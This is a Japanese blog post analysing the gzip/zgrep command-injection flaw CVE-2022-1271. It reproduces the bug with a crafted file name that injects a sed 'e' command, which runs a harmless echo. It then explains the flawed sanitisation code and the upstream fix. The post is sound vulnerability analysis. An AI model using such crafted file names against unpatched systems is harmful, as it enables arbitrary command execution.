2022/04/07にgzip/zgrepの脆弱性CVE-2022-1271が見つかった。
すでに主要なディストリビューションでは対応が終わっている脆弱性ではあるが、gzip/zgrepがシェルスクリプトで書かれているので、シェル芸人としては気になるので調べてみた。
PoC
この脆弱性はファイル名を細工すると任意のコマンドを実行できるということだ。 いわゆるコマンドインジェクションになるのだろうか。 以下のツイートにPoCが示されている。
手元のubuntu:20.04のDockerイメージでは、運良く(?)Fix前のgzipだったので再現してみる。
❯ docker run --rm -it ubuntu:20.04 root@44a24ad0a79b:/# dpkg -l gzip Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-==============-=============-============-================================= ii gzip 1.10-0ubuntu4 amd64 GNU compression utilities root@44a24ad0a79b:/# touch file.gz # 攻撃用のファイルを作成。PoCではcowsayになっているが用意するのがめんどくさいのでechoで root@44a24ad0a79b:/# echo foo | gzip > "$(printf '|\n;e echo hello world\n#.gz')" root@44a24ad0a79b:/# ls -lah *.gz -rw-r--r-- 1 root root 0 Apr 30 02:57 file.gz -rw-r--r-- 1 root root 24 Apr 30 02:56 '|'$'\n'';e echo hello world'$'\n''#.gz' 👈 これ # zgrepを実行する root@44a24ad0a79b:/# zgrep foo *.gz hello world 👈 なぜかhello worldと表示されている foo
Fixされたバージョンで試してみる
gzipパッケージをアップデートし脆弱性が修正されたバージョンで試してみる。
root@44a24ad0a79b:/# apt update -- snip -- root@44a24ad0a79b:/# apt install gzip -- snip -- root@44a24ad0a79b:/# dpkg -l gzip Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-==============-===============-============-================================= ii gzip 1.10-0ubuntu4.1 amd64 GNU compression utilities 👈 Fixされたバージョンになった root@44a24ad0a79b:/# ls -lah *.gz -rw-r--r-- 1 root root 0 Apr 30 02:57 file.gz -rw-r--r-- 1 root root 24 Apr 30 02:56 '|'$'\n'';e echo hello world'$'\n''#.gz' root@44a24ad0a79b:/# zgrep foo *.gz | ;e echo hello world #.gz:foo
\n
で改行されているため少し分かりづらいが、コマンドは実行されずファイル名が表示されるようになっている。
なぜコマンドが実行されたのか?
修正されたパッチを見てみる。 該当のdiffはこれみたいだ。 https://git.savannah.gnu.org/cgit/gzip.git/commit/?id=dc9740df61e575e8c3148b7bd3c147a81ea00c7c
diff --git a/zgrep.in b/zgrep.in index 345dae3..bdf7da2 100644 --- a/zgrep.in +++ b/zgrep.in @@ -222,9 +222,13 @@ do '* | *'&'* | *'\'* | *'|'*) i=$(printf '%s\n' "$i" | sed ' - $!N - $s/[&\|]/\\&/g - $s/\n/\\n/g + :start + $!{ + N + b start + } + s/[&\|]/\\&/g + s/\n/\\n/g ');; esac sed_script="s|^|$i:|"
んー、何もわからん。 Fix前のコードを見てみる。
https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?h=v1.11
パッチはL222-224だがこれだけだとわからないので前後のコードを抜粋してみた。
for i <--- ① do # Fail if gzip or grep (or sed) fails. gzip_status=$( exec 5>&1 (gzip -cdfq -- "$i" 5>&-; echo $? >&5) 3>&- | <--- ② if test $files_with_matches -eq 1; then <--- ③ -- snip -- <--- ③ else case $i in (*' '* | *'&'* | *'\'* | *'|'*) <--- ④ i=$(printf '%s\n' "$i" | <--- ⑤ sed ' <--- ⑤ $!N <--- ⑤ $s/[&\|]/\\&/g <--- ⑤ $s/\n/\\n/g <--- ⑤ ');; esac sed_script="s|^|$i:|" <--- ⑥ # Fail if grep or sed fails. r=$( exec 4>&1 (eval "$grep" 4>&-; echo $? >&4) 3>&- | sed "$sed_script" >&3 4>&- <--- ⑦ ) || { r=$?; test $r -lt 2 && r=2; } test 256 -le $r && r=$(expr 128 + $r % 128) exit $r fi >&3 5>&- )
ここでの解説に必要な部分のみ抜粋し、各ポイントに番号を付けた*1。
①ではfor文にin句が指定されていないので $*
をイテレーションし $i
に格納している。
この前の処理でgzipに渡されたオプションをパースしているので、ここではファイル名のみが格納されている。
②では読み込まれたファイルをgzipしている。
gzipコマンドの終了コードを取るために色々しているがここでは割愛。
gzipの出力はパイプされ以降のif文につながっている。
③の処理では、zgrepコマンドオプションに-L/--files-without-match、-l/--files-with-matches、-H/--with-filenameを指定したときの処理なので割愛。
④からが今回の解説のキモである。
ここでの処理はzgrepした結果の各行にファイル名を追加するための処理となっている。
まず、④では入力されたファイル名のサニタイズを行っている。
改行コード、&、\、|があるときに⑤の処理を行っている。
⑤ではファイル名のサニタイズ処理を行っている。
⑤で処理したファイル名を⑥で格納し、⑦のgrepの結果をパイプして各行の先頭にファイル名を追加している。
一見問題なさそうに見えるが先のPoCを⑤のコードで試してみると以下のような出力を得られる。
root@c2eb3217af25:/# echo -e "|\n;e echo hello world\n#;" | sed '$!N; $s/[&\|]/\\&/g; $s/\n/\\n/g' | ;e echo hello world #;
この出力を⑥に代入すると $sed_script
は以下が格納される。
s|^|| ;e echo hello world #;:|
このsedスクリプトを実行すると、意図しないコマンドが実行されることがわかる。
root@c2eb3217af25:/# cat sed.script s|^|| ;e echo hello world #;:| root@c2eb3217af25:/# echo foo | sed -f sed.script hello world foo
なぜコマンドが実行されるのか?
これはsedの e
コマンドが挿入されているからである。
e
コマンドとはなんだ?っと man sed
すると… 書いてない!
このとき初めてしったのだが、man sedは備忘録的な扱いで最低限しか書かれていないのであった。 詳細を調べるためにはGNUのページを見る必要がある。
このページには以下のように書かれている。
e command
Executes command and sends its output to the output stream. The command can run across multiple lines, all but the last ending with a back-slash.
command の出力を取り込むという処理のようだ。
なぜエスケープされないのか?
結論から書くと最終行しか置換処理をしていないためである。 サニタイズをするsedスクリプトを読んで見る。
$!N ; 最終行じゃなければ次の行を読み込む $s/[&\|]/\\&/g ; 最終行の&\|を置換する $s/\n/\\n/g ; 最終行の\nを置換する
っとなっていて複数行がある場合を考慮していないことがわかる。 では修正後のコードを見てみる。
:start ; <--- ① $!{ ; <--- ② N ; <--- ② b start ; <--- ② } : <--- ② s/[&\|]/\\&/g s/\n/\\n/g
変わったところは2つで、$!
のブロックがループするようになったのと、置換処理に$
が指定されなくなったというところだ。
詳しく見ていく。
①でstart
というラベルを設定している。これはbコマンドなどのジャンプ先に指定することができる。
②では最終行ではない場合($!
) {}の中身を実行している。{}はコマンドのグルーピングである。
グループされているのは N
と b start
である。
Nはパターンスペース*2に改行と今の入力行をコピーする。
b
コマンドはいわゆるgoto文で start
ラベルまでジャンプしている。
つまり、①と②では最終行になるまでパターンスペースに入力行コピーしていることになる。
そして、最後にsコマンドで置換している。
この変更により複数行が入力されても正しくサニタイズされ、脆弱性が修正されたことになる。
おわりに
gzip/zgrepコマンドが歴史が長くすでに枯れていて脆弱性もないだろうと思っていたが、そんなことはないことを知った。 また、シェルスクリプトでここまで作れることを知った*3のも今回調査してよかったと思う。
今回の調査を行おうと思ったきっかけを与えてくれた id:hiboma に感謝! 😄